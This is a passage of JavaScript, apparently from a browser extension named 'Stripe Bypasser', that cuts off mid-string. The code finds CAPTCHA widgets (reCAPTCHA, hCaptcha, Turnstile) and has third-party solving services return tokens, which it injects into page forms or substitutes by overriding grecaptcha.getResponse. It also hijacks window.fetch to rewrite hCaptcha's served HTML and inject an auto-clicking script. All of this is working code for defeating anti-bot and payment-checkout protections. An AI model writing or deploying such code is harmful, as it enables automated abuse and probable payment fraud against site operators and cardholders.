              widgetId = parseInt(turnstileWidgetId) || turnstileWidgetId;
            }
            if (!widgetId) {
              try {
                const matchingElements = document.querySelectorAll(".cf-turnstile");
                for (
                  let matchingElementIndex = 0;
                  matchingElementIndex < matchingElements.length;
                  matchingElementIndex++
                ) {
                  if (matchingElements[matchingElementIndex] === turnstileElement) {
                    widgetId = matchingElementIndex;
                    break;
                  }
                }
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        }
        binList.push({
          type: "turnstile",
          sitekey: turnstileSitekey || "unknown",
          element: turnstileElement,
          widgetId
        });
      }
    });
    return binList;
  }
  function extractCaptchaSitekeyFromUrl(captchaElement) {
    try {
      const srcAttribute = captchaElement.src || captchaElement.getAttribute("src");
      if (!srcAttribute) {
        return null;
      }
      const match = srcAttribute.match(/[?&]k=([^&]+)/);
      if (match) {
        return decodeURIComponent(match[1]);
      }
      return null;
    } catch (error) {
      return null;
    }
  }
  function isVisible(captchaInfo) {
    if (!captchaInfo || !captchaInfo.element) {
      return false;
    }
    if (typeof window === "undefined" || typeof document === "undefined") {
      return false;
    }
    const captchaElement = captchaInfo.element;
    const boundingRect = captchaElement.getBoundingClientRect();
    const computedStyle = window.getComputedStyle(captchaElement);
    return (
      boundingRect.width > 0 &&
      boundingRect.height > 0 &&
      computedStyle.display !== "none" &&
      computedStyle.visibility !== "hidden" &&
      computedStyle.opacity !== "0"
    );
  }
  function getToken(captchaInfo) {
    if (!captchaInfo) {
      return null;
    }
    if (typeof document === "undefined") {
      return null;
    }
    try {
      switch (captchaInfo.type) {
        case "recaptcha_v2": {
          if (typeof window !== "undefined" && window.grecaptcha && captchaInfo.widgetId !== null) {
            return window.grecaptcha.getResponse(captchaInfo.widgetId);
          }
          const elementNode = document.querySelector('textarea[name="g-recaptcha-response"]');
          return elementNode?.value || null;
        }
        case "recaptcha_v3":
          return null;
        case "hcaptcha": {
          const hcaptchaResponseField = document.querySelector(
            'textarea[name="h-captcha-response"]'
          );
          return hcaptchaResponseField?.value || null;
        }
        case "turnstile": {
          if (typeof window !== "undefined" && window.turnstile && captchaInfo.widgetId !== null) {
            return window.turnstile.getResponse(captchaInfo.widgetId);
          }
          const turnstileResponseInput = document.querySelector(
            'input[name="cf-turnstile-response"]'
          );
          return turnstileResponseInput?.value || null;
        }
        default:
          return null;
      }
    } catch (error) {
      stripeBypasserLogger.error("[CaptchaDetector] Error getting token:", error);
      return null;
    }
  }
  function setToken(captchaInfo, captchaToken) {
    if (!captchaInfo || !captchaToken) {
      return false;
    }
    if (typeof document === "undefined") {
      return false;
    }
    try {
      switch (captchaInfo.type) {
        case "recaptcha_v2": {
          const elementNode = document.querySelector('textarea[name="g-recaptcha-response"]');
          if (elementNode) {
            elementNode.value = captchaToken;
            elementNode.dispatchEvent(
              new Event("change", {
                bubbles: true
              })
            );
            return true;
          }
          if (typeof window !== "undefined" && window.grecaptcha && captchaInfo.widgetId !== null) {
            window.grecaptcha.getResponse = () => captchaToken;
            return true;
          }
          return false;
        }
        case "recaptcha_v3":
          return false;
        case "hcaptcha": {
          const hcaptchaResponseField = document.querySelector(
            'textarea[name="h-captcha-response"]'
          );
          if (!hcaptchaResponseField) {
            return false;
          }
          hcaptchaResponseField.value = captchaToken;
          hcaptchaResponseField.dispatchEvent(
            new Event("change", {
              bubbles: true
            })
          );
          return true;
        }
        case "turnstile": {
          const turnstileResponseInput = document.querySelector(
            'input[name="cf-turnstile-response"]'
          );
          if (!turnstileResponseInput) {
            return false;
          }
          turnstileResponseInput.value = captchaToken;
          turnstileResponseInput.dispatchEvent(
            new Event("change", {
              bubbles: true
            })
          );
          return true;
        }
        default:
          return false;
      }
    } catch (error) {
      stripeBypasserLogger.error("[CaptchaDetector] Error setting token:", error);
      return false;
    }
  }
  const captchaDetectorApi = {
    detect,
    isVisible,
    getToken,
    setToken,
    TYPES: types
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserCaptchaDetector = captchaDetectorApi;
  }
  const services = {
    "2captcha": {
      name: "2Captcha",
      inUrl: "https://2captcha.com/in.php",
      resUrl: "https://2captcha.com/res.php",
      balanceUrl: "https://2captcha.com/res.php?key={key}&action=getbalance&json=1"
    },
    anticaptcha: {
      name: "AntiCaptcha",
      inUrl: "https://api.anti-captcha.com/createTask",
      resUrl: "https://api.anti-captcha.com/getTaskResult",
      balanceUrl: "https://api.anti-captcha.com/getBalance"
    },
    capsolver: {
      name: "CapSolver",
      inUrl: "https://api.capsolver.com/createTask",
      resUrl: "https://api.capsolver.com/getTaskResult",
      balanceUrl: "https://api.capsolver.com/getBalance"
    },
    nocaptchaai: {
      name: "NoCaptchaAI",
      inUrl: "https://api.nocaptchaai.com/solve",
      resUrl: "https://api.nocaptchaai.com/result",
      balanceUrl: "https://api.nocaptchaai.com/balance"
    },
    nopecha: {
      name: "NopeCHA",
      inUrl: "https://api.nopecha.com/v1/token",
      resUrl: "https://api.nopecha.com/v1/token",
      balanceUrl: "https://api.nopecha.com/v1/balance"
    }
  };
  const captchaSolvePendingMap = new Map();
  async function submit(apiKey, captchaTask, providerName = "2captcha") {
    if (!apiKey || !captchaTask || !captchaTask.sitekey) {
      throw new Error("Missing required parameters: apiKey and captcha.sitekey");
    }
    const serviceConfig = services[providerName] || services["2captcha"];
    const websiteUrl = typeof window !== "undefined" ? window.location.href : "";
    try {
      if (providerName === "2captcha") {
        let requestUrl =
          serviceConfig.inUrl +
          "?key=" +
          encodeURIComponent(apiKey) +
          "&method=userrecaptcha&googlekey=" +
          encodeURIComponent(captchaTask.sitekey) +
          "&pageurl=" +
          encodeURIComponent(websiteUrl) +
          "&json=1";
        if (captchaTask.type === "hcaptcha") {
          requestUrl =
            serviceConfig.inUrl +
            "?key=" +
            encodeURIComponent(apiKey) +
            "&method=hcaptcha&sitekey=" +
            encodeURIComponent(captchaTask.sitekey) +
            "&pageurl=" +
            encodeURIComponent(websiteUrl) +
            "&json=1";
        } else if (captchaTask.type === "turnstile") {
          requestUrl =
            serviceConfig.inUrl +
            "?key=" +
            encodeURIComponent(apiKey) +
            "&method=turnstile&sitekey=" +
            encodeURIComponent(captchaTask.sitekey) +
            "&pageurl=" +
            encodeURIComponent(websiteUrl) +
            "&json=1";
        } else if (captchaTask.type === "recaptcha_v3") {
          const captchaAction = captchaTask.action || "submit";
          requestUrl =
            serviceConfig.inUrl +
            "?key=" +
            encodeURIComponent(apiKey) +
            "&method=userrecaptcha&version=v3&action=" +
            encodeURIComponent(captchaAction) +
            "&googlekey=" +
            encodeURIComponent(captchaTask.sitekey) +
            "&pageurl=" +
            encodeURIComponent(websiteUrl) +
            "&json=1";
        }
        const response = await fetch(requestUrl);
        const providerResponse = await response.json();
        if (providerResponse.status === 1 && providerResponse.request) {
          return providerResponse.request;
        }
        throw new Error(providerResponse.request || "Failed to submit captcha");
      }
      if (providerName === "anticaptcha") {
        const task = {
          type: getCaptchaProviderTaskType(captchaTask.type, {
            hcaptcha: "HCaptchaTaskProxyless",
            turnstile: "TurnstileTaskProxyless",
            recaptcha_v3: "RecaptchaV3TaskProxyless",
            default: "RecaptchaV2TaskProxyless"
          }),
          websiteURL: websiteUrl,
          websiteKey: captchaTask.sitekey
        };
        if (captchaTask.type === "recaptcha_v3") {
          task.action = captchaTask.action || "submit";
          task.minScore = 0.3;
        }
        const createTaskPayload = {
          clientKey: apiKey,
          task
        };
        const response = await fetch(serviceConfig.inUrl, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify(createTaskPayload)
        });
        const providerResponse = await response.json();
        if (providerResponse.errorId === 0 && providerResponse.taskId) {
          return providerResponse.taskId;
        }
        throw new Error(providerResponse.errorDescription || "Failed to submit captcha");
      }
      if (providerName === "capsolver") {
        const task = {
          type: getCaptchaProviderTaskType(captchaTask.type, {
            hcaptcha: "HCaptchaTaskProxyLess",
            turnstile: "AntiTurnstileTaskProxyLess",
            recaptcha_v3: "ReCaptchaV3TaskProxyLess",
            default: "ReCaptchaV2TaskProxyLess"
          }),
          websiteURL: websiteUrl,
          websiteKey: captchaTask.sitekey
        };
        if (captchaTask.type === "recaptcha_v3") {
          task.pageAction = captchaTask.action || "submit";
        }
        const createTaskPayload = {
          clientKey: apiKey,
          task
        };
        const response = await fetch(serviceConfig.inUrl, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify(createTaskPayload)
        });
        const providerResponse = await response.json();
        if (providerResponse.errorId === 0 && providerResponse.taskId) {
          return providerResponse.taskId;
        }
        throw new Error(providerResponse.errorDescription || "Failed to submit captcha");
      }
      if (providerName === "nocaptchaai") {
        const requestPayload = {
          api_key: apiKey,
          task_type: getCaptchaProviderTaskType(captchaTask.type, {
            hcaptcha: "hcaptcha",
            turnstile: "turnstile",
            recaptcha_v3: "recaptcha_v3",
            default: "recaptcha_v2"
          }),
          site_key: captchaTask.sitekey,
          site_url: websiteUrl,
          user_agent: typeof navigator !== "undefined" ? navigator.userAgent : ""
        };
        if (captchaTask.type === "recaptcha_v3") {
          requestPayload.action = captchaTask.action || "submit";
        }
        const response = await fetch(serviceConfig.inUrl, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify(requestPayload)
        });
        const providerResponse = await response.json();
        if (providerResponse.status === "success" && providerResponse.task_id) {
          return providerResponse.task_id;
        }
        if (providerResponse.task_id) {
          if (providerResponse.error) {
            throw new Error(providerResponse.error || "Failed to submit captcha");
          }
          return providerResponse.task_id;
        }
        throw new Error(
          providerResponse.error || providerResponse.message || "Failed to submit captcha"
        );
      }
      if (providerName === "nopecha") {
        const requestPayload = {
          type: getCaptchaProviderTaskType(captchaTask.type, {
            hcaptcha: "hcaptcha",
            turnstile: "turnstile",
            recaptcha_v3: "recaptcha_v3",
            default: "recaptcha_v2"
          }),
          sitekey: captchaTask.sitekey,
          url: websiteUrl
        };
        if (captchaTask.type === "recaptcha_v3") {
          requestPayload.action = captchaTask.action || "submit";
        }
        const response = await fetch(serviceConfig.inUrl, {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
            Authorization: "Bearer " + apiKey
          },
          body: JSON.stringify(requestPayload)
        });
        const providerResponse = await response.json();
        if (providerResponse.token) {
          return {
            immediate: true,
            token: providerResponse.token
          };
        }
        if (providerResponse.task_id || providerResponse.id) {
          return providerResponse.task_id || providerResponse.id;
        }
        throw providerResponse.error
          ? new Error(providerResponse.error || "Failed to submit captcha")
          : new Error(providerResponse.message || "Failed to submit captcha");
      }
    } catch (error) {
      stripeBypasserLogger.error("[CaptchaSolver] Error submitting captcha:", error);
      throw error;
    }
  }
  async function getSolution(apiKey, taskId, providerName = "2captcha", maxWaitTimeMs = 120000) {
    if (!apiKey || !taskId) {
      throw new Error("Missing required parameters: apiKey and taskId");
    }
    const serviceConfig = services[providerName] || services["2captcha"];
    const pollStartedAt = Date.now();
    return new Promise((resolve, completionCallback) => {
      const pollForSolution = async () => {
        try {
          if (Date.now() - pollStartedAt > maxWaitTimeMs) {
            completionCallback(new Error("Timeout waiting for captcha solution"));
            return;
          }
          let providerResponse;
          let responseJson;
          if (providerName === "2captcha") {
            providerResponse = await fetch(
              serviceConfig.resUrl +
                "?key=" +
                encodeURIComponent(apiKey) +
                "&action=get&id=" +
                encodeURIComponent(taskId) +
                "&json=1"
            );
            responseJson = await providerResponse.json();
            if (responseJson.status === 1 && responseJson.request) {
              resolve(responseJson.request);
            } else if (responseJson.request === "CAPCHA_NOT_READY") {
              setTimeout(pollForSolution, 5000);
            } else {
              completionCallback(new Error(responseJson.request || "Failed to get solution"));
            }
          } else if (providerName === "anticaptcha" || providerName === "capsolver") {
            providerResponse = await fetch(serviceConfig.resUrl, {
              method: "POST",
              headers: {
                "Content-Type": "application/json"
              },
              body: JSON.stringify({
                clientKey: apiKey,
                taskId
              })
            });
            responseJson = await providerResponse.json();
            if (responseJson.errorId === 0) {
              if (responseJson.status === "ready" && responseJson.solution) {
                const solutionToken =
                  responseJson.solution.gRecaptchaResponse ||
                  responseJson.solution.token ||
                  responseJson.solution["g-recaptcha-response"];
                if (solutionToken) {
                  resolve(solutionToken);
                } else {
                  completionCallback(new Error("No token in solution"));
                }
              } else if (responseJson.status === "processing") {
                setTimeout(pollForSolution, 5000);
              } else {
                completionCallback(
                  new Error(responseJson.errorDescription || "Failed to get solution")
                );
              }
            } else {
              completionCallback(
                new Error(responseJson.errorDescription || "Failed to get solution")
              );
            }
          } else if (providerName === "nocaptchaai") {
            providerResponse = await fetch(serviceConfig.resUrl, {
              method: "POST",
              headers: {
                "Content-Type": "application/json"
              },
              body: JSON.stringify({
                api_key: apiKey,
                task_id: taskId
              })
            });
            responseJson = await providerResponse.json();
            if (responseJson.status === "success" && responseJson.token) {
              resolve(responseJson.token);
            } else if (responseJson.status === "processing" || responseJson.status === "pending") {
              setTimeout(pollForSolution, 5000);
            } else {
              completionCallback(
                new Error(responseJson.error || responseJson.message || "Failed to get solution")
              );
            }
          } else if (providerName === "nopecha") {
            providerResponse = await fetch(serviceConfig.resUrl + "/" + taskId, {
              method: "GET",
              headers: {
                Authorization: "Bearer " + apiKey,
                "Content-Type": "application/json"
              }
            });
            responseJson = await providerResponse.json();
            if (responseJson.token) {
              resolve(responseJson.token);
            } else if (
              responseJson.status === "processing" ||
              responseJson.status === "pending" ||
              responseJson.status === "queued"
            ) {
              setTimeout(pollForSolution, 5000);
            } else if (responseJson.error) {
              completionCallback(new Error(responseJson.error || "Failed to get solution"));
            } else {
              completionCallback(new Error(responseJson.message || "Failed to get solution"));
            }
          }
        } catch (error) {
          completionCallback(error);
        }
      };
      setTimeout(pollForSolution, 5000);
    });
  }
  async function solve(apiKey, captchaTask, options = {}) {
    if (!apiKey) {
      throw new Error("API key is required");
    }
    if (!captchaTask || !captchaTask.sitekey) {
      throw new Error("Invalid captcha object");
    }
    const solverService = options.service || "2captcha";
    const maxWaitTimeMs = options.maxWaitTime || 120000;
    const captchaRequestKey = captchaTask.type + "_" + captchaTask.sitekey + "_" + Date.now();
    if (captchaSolvePendingMap.has(captchaRequestKey)) {
      return captchaSolvePendingMap.get(captchaRequestKey);
    }
    try {
      stripeBypasserLogger.log(
        "[CaptchaSolver] Starting to solve captcha:",
        captchaTask.type,
        captchaTask.sitekey,
        "using",
        solverService
      );
      const taskSubmission = await submit(apiKey, captchaTask, solverService);
      if (taskSubmission && typeof taskSubmission === "object" && taskSubmission.immediate) {
        captchaSolvePendingMap.delete(captchaRequestKey);
        stripeBypasserLogger.log("[CaptchaSolver] Captcha solved immediately");
        return taskSubmission.token;
      }
      stripeBypasserLogger.log("[CaptchaSolver] Captcha submitted, task ID:", taskSubmission);
      const solutionPromise = getSolution(apiKey, taskSubmission, solverService, maxWaitTimeMs)
        .then(solutionToken => {
          captchaSolvePendingMap.delete(captchaRequestKey);
          stripeBypasserLogger.log("[CaptchaSolver] Captcha solved successfully");
          return solutionToken;
        })
        .catch(asyncError => {
          captchaSolvePendingMap.delete(captchaRequestKey);
          stripeBypasserLogger.error("[CaptchaSolver] Error solving captcha:", asyncError);
          throw asyncError;
        });
      captchaSolvePendingMap.set(captchaRequestKey, solutionPromise);
      return solutionPromise;
    } catch (error) {
      captchaSolvePendingMap.delete(captchaRequestKey);
      throw error;
    }
  }
  async function autoSolve(apiKey, options = {}) {
    if (!apiKey) {
      stripeBypasserLogger.warn("[CaptchaSolver] No API key provided");
      return [];
    }
    if (typeof window === "undefined" || !window.StripeBypasserCaptchaDetector) {
      stripeBypasserLogger.error("[CaptchaSolver] CaptchaDetector not available");
      return [];
    }
    const service = options.service || "2captcha";
    const detectedCaptchas = window.StripeBypasserCaptchaDetector.detect();
    if (detectedCaptchas.length === 0) {
      return [];
    }
    const filteredItems = detectedCaptchas.filter(item =>
      window.StripeBypasserCaptchaDetector.isVisible(item)
    );
    if (filteredItems.length === 0) {
      return [];
    }
    const mappedItems = filteredItems.map(async captcha => {
      try {
        const solverOptions = {
          ...options,
          service
        };
        const token = await solve(apiKey, captcha, solverOptions);
        if (window.StripeBypasserCaptchaDetector.setToken(captcha, token)) {
          stripeBypasserLogger.log("[CaptchaSolver] Token set successfully for", captcha.type);
          if (typeof window !== "undefined" && window.createStripeBypassBanner) {
            window.createStripeBypassBanner(
              "Captcha Solved",
              "success",
              captcha.type + " solved successfully"
            );
          }
          return {
            captcha,
            token,
            success: true
          };
        }
        throw new Error("Failed to set token in form");
      } catch (error) {
        stripeBypasserLogger.error("[CaptchaSolver] Failed to solve captcha:", error);
        if (typeof window !== "undefined" && window.createStripeBypassBanner) {
          window.createStripeBypassBanner(
            "Captcha Solve Failed",
            "error",
            error.message || "Unknown error"
          );
        }
        return {
          captcha,
          token: null,
          success: false,
          error: error.message
        };
      }
    });
    return Promise.all(mappedItems);
  }
  const stripeBypasserCaptchaSolver = {
    solve,
    autoSolve,
    submit,
    getSolution,
    SERVICES: services
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserCaptchaSolver = stripeBypasserCaptchaSolver;
  }
  const hcaptchaHtmlUrlPattern =
    /newassets\.hcaptcha\.com\/captcha\/v1\/[^/]+\/static\/hcaptcha\.html/;
  const hcaptchaAriaPatterns = [
    /this\.\$radio\.setAttribute\("aria-checked",\s*!1\)/g,
    /this\.\$radio\.setAttribute\("aria-checked",\s*false\)/g,
    /this\.\$radio\.setAttribute\("aria-checked",\s*0\)/g,
    /this\.\$radio\.setAttribute\("aria-checked",!1\)/g,
    /this\.setAttribute\("aria-checked",\s*!1\)/g,
    /this\.setAttribute\("aria-checked",\s*false\)/g,
    /this\.setAttribute\("aria-checked",\s*0\)/g,
    /this\.setAttribute\("aria-checked",!1\)/g,
    /setAttribute\("aria-checked",\s*!1\)/g,
    /setAttribute\("aria-checked",\s*false\)/g,
    /setAttribute\("aria-checked",\s*0\)/g,
    /setAttribute\("aria-checked",!1\)/g
  ];
  if (typeof window !== "undefined" && window.__hcaptchaInterceptorActive) {
    if (window.__hcaptchaSettingsPollInterval) {
      clearInterval(window.__hcaptchaSettingsPollInterval);
      window.__hcaptchaSettingsPollInterval = null;
    }
  } else {
    let isAutoclickModeEnabled = (() => {
      if (typeof window !== "undefined" && window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
        const advancedSettings = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__;
        return (
          advancedSettings.autoCaptcha === true && advancedSettings.captchaService === "autoclick"
        );
      }
      return false;
    })();
    if (
      !isAutoclickModeEnabled &&
      typeof window !== "undefined" &&
      !window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__
    ) {
      isAutoclickModeEnabled = false;
    }
    if (isAutoclickModeEnabled) {
      const syncAutoCaptchaConfig = () => {
        if (typeof window !== "undefined" && window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
          autoCaptchaEnabled = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.autoCaptcha || false;
          captchaService =
            window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.captchaService || "autoclick";
          settingsLoaded = true;
          stripeBypasserLogger.log("[HCaptchaInterceptor] Settings loaded:", {
            autoCaptchaEnabled,
            captchaService
          });
        }
      };
      const shouldUseAutoclickMode = () => {
        if (!settingsLoaded) {
          return false;
        }
        const isAutoclickCaptchaEnabled = autoCaptchaEnabled && captchaService === "autoclick";
        const autoCaptchaEnabledInfo = {
          autoCaptchaEnabled,
          captchaService
        };
        if (!isAutoclickCaptchaEnabled) {
          stripeBypasserLogger.debug(
            "[HCaptchaInterceptor] Auto-captcha disabled or not using autoclick:",
            autoCaptchaEnabledInfo
          );
        }
        return isAutoclickCaptchaEnabled;
      };
      if (typeof window !== "undefined") {
        window.__hcaptchaInterceptorActive = true;
      }
      let autoCaptchaEnabled = false;
      let captchaService = "autoclick";
      let settingsLoaded = false;
      syncAutoCaptchaConfig();
      if (typeof window !== "undefined") {
        window.addEventListener("message", event => {
          if (event.data && event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS") {
            syncAutoCaptchaConfig();
          }
        });
      }
      let settingsPollAttemptCount = 0;
      if (typeof window !== "undefined" && window.__hcaptchaSettingsPollInterval) {
        clearInterval(window.__hcaptchaSettingsPollInterval);
      }
      if (typeof window !== "undefined") {
        window.__hcaptchaSettingsPollInterval = setInterval(() => {
          settingsPollAttemptCount++;
          syncAutoCaptchaConfig();
          if (
            (settingsLoaded || settingsPollAttemptCount >= 10) &&
            window.__hcaptchaSettingsPollInterval
          ) {
            clearInterval(window.__hcaptchaSettingsPollInterval);
            window.__hcaptchaSettingsPollInterval = null;
          }
        }, 200);
      }
      if (typeof window !== "undefined") {
        const originalFetch = window.fetch;
        window.fetch = function interceptHcaptchaFetch(...fetchArgs) {
          const requestInput = fetchArgs[0];
          const requestUrl =
            typeof requestInput === "string"
              ? requestInput
              : requestInput?.url || requestInput?.toString() || "";
          if (requestUrl && hcaptchaHtmlUrlPattern.test(requestUrl) && shouldUseAutoclickMode()) {
            stripeBypasserLogger.log(
              "[HCaptchaInterceptor] Intercepting hCaptcha HTML request:",
              requestUrl
            );
            return originalFetch.apply(this, fetchArgs).then(response =>
              response
                .clone()
                .text()
                .then(responseHtml => {
                  let modifiedHtml = responseHtml;
                  let htmlWasModified = false;
                  let patternMatchCount = 0;
                  hcaptchaAriaPatterns.forEach((item, index) => {
                    if (item.test(modifiedHtml)) {
                      const previousHtml = modifiedHtml;
                      modifiedHtml = modifiedHtml.replace(item, matchedSegment =>
                        matchedSegment.replace(/!1|false|0/, "!0")
                      );
                      if (modifiedHtml !== previousHtml) {
                        htmlWasModified = true;
                        patternMatchCount++;
                        stripeBypasserLogger.log(
                          "[HCaptchaInterceptor] Modified hCaptcha HTML pattern " +
                            (index + 1) +
                            ":",
                          item.toString().substring(0, 50)
                        );
                      }
                    }
                  });
                  if (modifiedHtml.includes("</body>")) {
                    modifiedHtml = modifiedHtml.replace(
                      "</body>",
                      "<script>\n(function() {\n  'use strict';\n  const CHECKBOX = \"#checkbox\";\n  const ARIA_CHECKED = \"aria-checked\";\n  \n  function qSelector(selector) {\n    return document.querySelector(selector);\n  }\n  \n  function isHidden(el) {\n    if (!el) return true;\n    return (el.offsetParent === null || el.style.display === 'none' || el.style.visibility === 'hidden');\n  }\n  \n  let clickAttempted = false;\n  let checkboxInterval = null;\n  let maxAttempts = 60; // 30 seconds at 500ms interval\n  let attemptCount = 0;\n  let isSolved = false;\n  \n  function attemptClick() {\n    attemptCount++;\n    \n    // Stop if we've exceeded max attempts\n    if (attemptCount > maxAttempts) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      return false;\n    }\n    \n    const checkbox = qSelector(CHECKBOX);\n    if (!checkbox) return false;\n    \n    const ariaChecked = checkbox.getAttribute(ARIA_CHECKED);\n    const hidden = isHidden(checkbox);\n    \n    // Check if already solved\n    if (ariaChecked === \"true\" || checkbox.checked === true) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      isSolved = true;\n      return true;\n    }\n    \n    // Try to click if checkbox is visible and not checked\n    if (!hidden && (ariaChecked === \"false\" || !ariaChecked)) {\n      try {\n        // Multiple click methods for better reliability\n        if (typeof checkbox.click === 'function') {\n          checkbox.click();\n        }\n        \n        // Also try programmatic click via event\n        try {\n          const clickEvent = new MouseEvent('click', {\n            bubbles: true,\n            cancelable: true,\n            view: window\n          });\n          checkbox.dispatchEvent(clickEvent);\n        } catch (e) {\n          // Fallback method\n        }\n        \n        clickAttempted = true;\n        \n        // Verify click was successful with shorter delay\n        setTimeout(() => {\n          const newAriaChecked = checkbox.getAttribute(ARIA_CHECKED);\n          const isChecked = checkbox.checked === true;\n          \n          if (newAriaChecked === \"true\" || isChecked) {\n            if (checkboxInterval) {\n              clearInterval(checkboxInterval);\n              checkboxInterval = null;\n            }\n            isSolved = true;\n          }\n        }, 300);\n        \n        return true;\n      } catch (e) {\n        return false;\n      }\n    }\n    \n    return false;\n  }\n  \n  // Start interval-based clicking (faster interval for better responsiveness)\n  checkboxInterval = setInterval(function() {\n    if (!isSolved) {\n      attemptClick();\n    } else if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 400); // Reduced from 500ms to 400ms for faster response\n  \n  // Initial rapid attempts (optimized timing)\n  setTimeout(attemptClick, 50);\n  setTimeout(attemptClick, 200);\n  setTimeout(attemptClick, 400);\n  setTimeout(attemptClick, 600);\n  setTimeout(attemptClick, 800);\n  \n  // Cleanup after timeout\n  setTimeout(() => {\n    if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 25000); // Reduced timeout to 25 seconds\n  \n})();\n</script></body>"
                    );
                  } else if (modifiedHtml.includes("</html>")) {
                    modifiedHtml = modifiedHtml.replace(
                      "</html>",
                      "<script>\n(function() {\n  'use strict';\n  const CHECKBOX = \"#checkbox\";\n  const ARIA_CHECKED = \"aria-checked\";\n  \n  function qSelector(selector) {\n    return document.querySelector(selector);\n  }\n  \n  function isHidden(el) {\n    if (!el) return true;\n    return (el.offsetParent === null || el.style.display === 'none' || el.style.visibility === 'hidden');\n  }\n  \n  let clickAttempted = false;\n  let checkboxInterval = null;\n  let maxAttempts = 60; // 30 seconds at 500ms interval\n  let attemptCount = 0;\n  let isSolved = false;\n  \n  function attemptClick() {\n    attemptCount++;\n    \n    // Stop if we've exceeded max attempts\n    if (attemptCount > maxAttempts) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      return false;\n    }\n    \n    const checkbox = qSelector(CHECKBOX);\n    if (!checkbox) return false;\n    \n    const ariaChecked = checkbox.getAttribute(ARIA_CHECKED);\n    const hidden = isHidden(checkbox);\n    \n    // Check if already solved\n    if (ariaChecked === \"true\" || checkbox.checked === true) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      isSolved = true;\n      return true;\n    }\n    \n    // Try to click if checkbox is visible and not checked\n    if (!hidden && (ariaChecked === \"false\" || !ariaChecked)) {\n      try {\n        // Multiple click methods for better reliability\n        if (typeof checkbox.click === 'function') {\n          checkbox.click();\n        }\n        \n        // Also try programmatic click via event\n        try {\n          const clickEvent = new MouseEvent('click', {\n            bubbles: true,\n            cancelable: true,\n            view: window\n          });\n          checkbox.dispatchEvent(clickEvent);\n        } catch (e) {\n          // Fallback method\n        }\n        \n        clickAttempted = true;\n        \n        // Verify click was successful with shorter delay\n        setTimeout(() => {\n          const newAriaChecked = checkbox.getAttribute(ARIA_CHECKED);\n          const isChecked = checkbox.checked === true;\n          \n          if (newAriaChecked === \"true\" || isChecked) {\n            if (checkboxInterval) {\n              clearInterval(checkboxInterval);\n              checkboxInterval = null;\n            }\n            isSolved = true;\n          }\n        }, 300);\n        \n        return true;\n      } catch (e) {\n        return false;\n      }\n    }\n    \n    return false;\n  }\n  \n  // Start interval-based clicking (faster interval for better responsiveness)\n  checkboxInterval = setInterval(function() {\n    if (!isSolved) {\n      attemptClick();\n    } else if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 400); // Reduced from 500ms to 400ms for faster response\n  \n  // Initial rapid attempts (optimized timing)\n  setTimeout(attemptClick, 50);\n  setTimeout(attemptClick, 200);\n  setTimeout(attemptClick, 400);\n  setTimeout(attemptClick, 600);\n  setTimeout(attemptClick, 800);\n  \n  // Cleanup after timeout\n  setTimeout(() => {\n    if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 25000); // Reduced timeout to 25 seconds\n  \n})();\n</script></html>"
                    );
                  } else {
                    modifiedHtml +=
                      "<script>\n(function() {\n  'use strict';\n  const CHECKBOX = \"#checkbox\";\n  const ARIA_CHECKED = \"aria-checked\";\n  \n  function qSelector(selector) {\n    return document.querySelector(selector);\n  }\n  \n  function isHidden(el) {\n    if (!el) return true;\n    return (el.offsetParent === null || el.style.display === 'none' || el.style.visibility === 'hidden');\n  }\n  \n  let clickAttempted = false;\n  let checkboxInterval = null;\n  let maxAttempts = 60; // 30 seconds at 500ms interval\n  let attemptCount = 0;\n  let isSolved = false;\n  \n  function attemptClick() {\n    attemptCount++;\n    \n    // Stop if we've exceeded max attempts\n    if (attemptCount > maxAttempts) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      return false;\n    }\n    \n    const checkbox = qSelector(CHECKBOX);\n    if (!checkbox) return false;\n    \n    const ariaChecked = checkbox.getAttribute(ARIA_CHECKED);\n    const hidden = isHidden(checkbox);\n    \n    // Check if already solved\n    if (ariaChecked === \"true\" || checkbox.checked === true) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      isSolved = true;\n      return true;\n    }\n    \n    // Try to click if checkbox is visible and not checked\n    if (!hidden && (ariaChecked === \"false\" || !ariaChecked)) {\n      try {\n        // Multiple click methods for better reliability\n        if (typeof checkbox.click === 'function') {\n          checkbox.click();\n        }\n        \n        // Also try programmatic click via event\n        try {\n          const clickEvent = new MouseEvent('click', {\n            bubbles: true,\n            cancelable: true,\n            view: window\n          });\n          checkbox.dispatchEvent(clickEvent);\n        } catch (e) {\n          // Fallback method\n        }\n        \n        clickAttempted = true;\n        \n        // Verify click was successful with shorter delay\n        setTimeout(() => {\n          const newAriaChecked = checkbox.getAttribute(ARIA_CHECKED);\n          const isChecked = checkbox.checked === true;\n          \n          if (newAriaChecked === \"true\" || isChecked) {\n            if (checkboxInterval) {\n              clearInterval(checkboxInterval);\n              checkboxInterval = null;\n            }\n            isSolved = true;\n          }\n   